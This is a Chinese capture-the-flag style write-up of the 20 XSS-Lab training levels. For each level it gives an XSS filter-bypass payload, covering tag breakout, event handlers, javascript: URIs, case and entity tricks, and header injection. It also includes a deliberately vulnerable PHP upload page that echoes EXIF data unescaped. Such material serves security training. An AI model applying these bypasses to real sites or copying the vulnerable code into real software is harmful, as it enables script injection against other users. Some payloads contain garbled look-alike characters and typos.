XSS-Lab靶场

目录

Lab-1

Lab-2

Lab-3

Lab-4

Lab-5

Lab-6

Lab-7

Lab-8

Lab-9

Lab-10

Lab-11

Lab-12

Lab-13

Lab-14

Lab-15

Lab-16

Lab-17

Lab-18

Lab-19

Lab-20


Lab-1

直接插入触发弹窗;

Payload:<script>alert(1)</script>

Lab-2

插入js语句后发现需先将前面闭合来触发js语句弹窗;

Payload:"><script>alert(1)</script>

Lab-3

插入语句发现没弹窗闭合也没效果,查看页面源代码发现<>、“”被转义了,尝试用下事件型语句;

Payload:'οnfοcus='alert(1)

 

Lab-4

先尝试用常规js语句,发现<>被过滤了,用js事件尝试触发弹窗;

Payload:"οnfοcus="alert(1)

Lab-5

在尝试js语句触发弹窗是发现<script、on被转义了,尝试用java伪协议来触发弹窗;

Payload:"><a herf="javascript:alert(1)">

 

 

Lab-6

经测试发现<script、on、src、href等都被转义了,尝试发现大小写可以绕过;

Payload:"><a hREf="javascript:alert(1)">

 

 

 

Lab-7

测试发现script、herf等被过滤了,尝试下双写绕过;

Payload:"><a hrhRefEf="javasscriptcript:alert(1)">

 

Lab-8

经测试发现script、on、herf等都被过滤且大小写无效,尝试使用HTML实体转换;

Payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

 

https://www.qqxiuzi.cn/bianma/zifushiti.php

Lab-9

查看源码发现会检测是否存在http://,

Payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

Lab-10

常规语句测试检查发现有3个input标签状态为hidden,尝试构造payload修改type值,发现t_sort可以修改,

payload:&t_sort=" type="text" οnfοcus="alert(1)

Lab-11

尝试lab-10的测试方法:&t_link=" type="text"&t_history" type="text"&t_sort=" type="text"&t_ref=" type="text"发现没反应,查看源码发现接受参数值为t_sort,但是函数htmlspecialchars()会对双引号进行转义从而无法闭合,尝试通过$_SERVER['HTTP_REFERER']这个检测语句修改数据包的referer值来触发js语句;

Payload:referer: "type="text" οnfοcus="alert(1)

 

 

 

Lab-12

同lab-11思路一样,只是这里需要修改UA值;

Payload:"type="text" οnfοcus="alert(1)

 

 

Lab-13

和前面lab一样,只是需要修改cookie值;

Payload:"type="text" οnfοcus="alert(1)

 

Lab-14

这关什么都没有且跳转的url失效了,本地搭建测试环境

什么是Exif?

Exif是一种图像文件格式,实际上Exif格式就是在JPEG格式头部插入了数码照片的信息,包括拍摄时的光圈、快门、白平衡、ISO、焦距、日期时间等各种和拍摄条件以及相机品牌、型号、色彩编码、拍摄时录制的声音以及GPS全球定位系统数据、缩略图等。你可以利用任何可以查看JPEG文件的看图软件浏览Exif格式的照片,但并不是所有的图形程序都能处理Exif信息

代码:

<html>

<head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>欢迎来到level14</title>

</head>

<body>

<h1 align=center>欢迎来到level14</h1>

<!--<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://127.0.0.1/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center>-->

<?php

   echo '

   <html>

    <head>

    <meta http-equiv="content-type" content="text/html;charset=utf-8">

    <title>欢迎来到level14</title>

    </head>

   <center>

   <form action="./index.php" method=POST enctype=multipart/form-data>

   <label for=file>文件名:</label><input type=file name=file id=file><br>

   <input type=submit name=submit value=提交></form></center></html>';

 

    try{

        // 允许上传的图片后缀

        $allowedExts = array("gif", "jpeg", "jpg", "png");

        $temp = explode(".", $_FILES["file"]["name"]);

        $extension = end($temp);     // 获取文件后缀名

        if ((($_FILES["file"]["type"] == "image/gif")

        || ($_FILES["file"]["type"] == "image/jpeg")

        || ($_FILES["file"]["type"] == "image/jpg")

        || ($_FILES["file"]["type"] == "image/pjpeg")

        || ($_FILES["file"]["type"] == "image/x-png")

        || ($_FILES["file"]["type"] == "image/png"))

        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb

        && in_array($extension, $allowedExts))

        {

            if ($_FILES["file"]["error"] > 0)

            {

                echo "错误:: " . $_FILES["file"]["error"] . "<br>";

            }

            else

            {

                echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";

            }

            move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);

        }

        else

        {

            echo "非法的文件格式";

        }

        $file = $_FILES["file"]["name"];

 

        $exif = exif_read_data($file, 0, true);

        echo "<h4>[ ".$file." ]的EXIF信息:</h4>";

        foreach ($exif as $key => $section) {

            foreach ($section as $name => $val) {

                echo "$key.$name: $val<br />\n";

            }

        }

    }catch (Exception $e){

        echo $e;

    }

?>

<center>这关成功后不会自动跳转。成功者<a href=/level15.php?src=level15.png>点我进level15</a></center>

</body>

</html>

上传张修改后的图片,触发弹窗

 

Lab-15

常规闭合测试发现被转义了,查看源码,根据ng-include特性包含level1.php利用name参数构造

Payload:?src='level1.php?name=<img src=1 οnclick=alert(1)>'

*ng-include是angular js中的东西,其作用相当于php的include函数。

①、ng-include 指令用于包含外部的 HTML文件。

②、包含的内容将作为指定元素的子节点。

③、ng-include 属性的值可以是一个表达式,返回一个文件名。

④、默认情况下,包含的文件需要包含在同一个域名下。

⑤、ng-include,如果单纯指定地址,必须要加引号

⑥、ng-include,加载外部html,script标签中的内容不执行

⑦、ng-include,加载外部html中含有style标签样式可以识别

Lab-16

常规测试发现srcipt、空格等被过滤,尝试%0a或%0D当成空格使用触发弹窗;

Payload:<img%0asrc=1%0aοnerrοr=alert(1)>

“0D”是把光标移到同一行的顶头——回车(CR)

“0A”是把光标移到下一行——换行(LF)

 

Lab-17

页面什么都没有使用个常规语句测试,查看页面源码发现参数在<embed>标签中,火狐的swf直接屏蔽了,使用谷歌无法显示但可以利用事件onmouseover、onfocus来触发,要是可以正常显示可以使用onclick这种;

Payload:οnfοcus=alert(1)

<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没

有添加引号,所以不用闭合

Lab-18

同lab-17一样;

Payload:οnfοcus=alert(1)

Lab-19

这里涉及到flash xss,需要先获取swf文件进行反编译,这里参考了下大佬文章:

https://blog.csdn.net/qq_40929683/article/details/120422266

测试了好几个浏览器都不行,后续在看看;

根据%s,猜测这个应该是个占位符,

定位%s,这里从参数中提取名为version的参数,替换到%s上

通过函数转换成文本,再通过函数write()输出

从源码可以看出这里需要2个传参,

构造payload:arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

Lab-20

思路同lab-19,环境问题略

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值